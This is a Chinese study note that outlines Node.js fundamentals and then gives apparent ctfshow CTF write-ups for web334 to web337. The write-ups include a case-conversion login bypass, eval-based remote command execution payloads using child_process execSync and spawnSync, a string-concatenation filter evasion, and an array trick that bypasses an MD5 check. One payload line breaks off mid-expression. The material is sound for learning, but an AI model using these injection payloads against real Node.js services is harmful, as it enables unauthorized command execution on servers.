nodejs基础知识
起源与发展:了解Node.js的历史背景、由Ryan Dahl创造、基于V8 JavaScript引擎、由Node.js基金会(现OpenJS Foundation)管理。
设计哲学:理解Node.js的设计目标,如单线程、非阻塞I/O、事件驱动、轻量级、高性能。
应用场景:服务器端开发(如Web服务器、API服务)、命令行工具(如脚本、构建工具)、桌面应用(借助Electron等框架)、实时应用(如聊天室、游戏服务器)等。
单线程模型:理解Node.js的单线程执行环境与JavaScript的单线程特性。
异步I/O:理解Node.js如何通过libuv库实现异步非阻塞I/O操作,避免阻塞主线程。
事件队列与回调队列:理解事件循环如何处理不同的任务类型(宏任务、微任务),以及任务进入和退出事件循环的过程。
定时器与process.nextTick():理解定时器在事件循环中的位置,以及process.nextTick()与定时器的区别。
变量、数据类型、运算符
变量声明:var、let、const的区别,块级作用域与函数作用域。
基本数据类型:Number、String、Boolean、Null、Undefined、Symbol、BigInt,以及它们的特性和方法。
复杂数据类型:Object、Array、Function、Date、RegExp(正则表达)等,以及它们的创建、属性访问、方法调用。
运算符:算术运算符、比较运算符、逻辑运算符、位运算符、赋值运算符、条件运算符、解构赋值、扩展运算符等。
函数
定义与调用:普通函数、匿名函数、具名函数、箭头函数的定义与调用。
参数:默认参数、剩余参数、解构参数。
作用域:全局作用域、局部作用域、块级作用域、闭包。
返回值:显式返回、隐式返回、void返回。
高级特性:递归、高阶函数、柯里化、函数组合、函数记忆化。
类与实例:类的定义、构造函数、实例化过程、this关键字。
成员:属性、方法、访问修饰符(ES6)。
继承:extends关键字、super关键字、原型链、Mixin模式。
封装:私有字段(ES12)、私有方法(ES12)、getter/setter。
多态:接口、抽象类(TypeScript)、鸭子类型。
web334
一个登录框。

下载压缩包进行代码审计
{username: 'CTFSHOW', password: '123456'}
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
知道了用户名和密码不能成功登录,审计login.js代码发现直接传入CTFSHOW不可以,会返回为假,应该传入小写的ctfshow,才能转化为大写,成功登录。
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
注意return函数中的执行结果
web335
Node.JS的RCE
了解基本的nodejs的语法。
require(%27child_process%27).execSync('ls')
查看当前目录下的文件

require(%27child_process%27).execSync('tac fl00g.txt')
查看flag文件。
学会nodejs中RCE相关基本函数的利用。
web336
spawn、exec、execFile、fork
这四个函数均是异步函数,对应的同步函数为:spawnSync、execSync、execFileSync,其中 fork 没有对应的 forkSync
spawn是其他函数的基础,其他三个函数是在spawn上不同程度的封装,exec调用execFile,而execFile调用spawn,fork调用spawn。
对于nodejs的函数知道同步函数和对应的异步函数,从而实现题目系统命令的执行。
检测该题目发现过滤与exec()函数相关的函数都被过滤,包括execSync、execFileSyn、exec、execFile等函数。
因此使用spawn或者spawnSync函数。
?eval=require('child_process').spawnSync('ls').stdout.toString();
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();
字符拼接
?eval=require('child_process').['exe'%2B'cSync']('ls
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
通过对js的代码审计,发现传入的参数要满足if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))语句,从而可以输出flag。
router.get('/', function(req, res, next) 路由形式的输入,直接在/后面以get形式输入参数a,b,参数的内容传入内容要绕过if语句的检测。
要绕过MD5语句的比较,可以利用一些MD5加密结果相同的特殊字符串,但是由于要比较md5(a+flag)===md5(b+flag)的值,因此这种方法不可行。
另一种方法是:利用数组绕过MD5的检测
?a[a]=1&&b[b]=0
?a[b]=1&&b[b]=1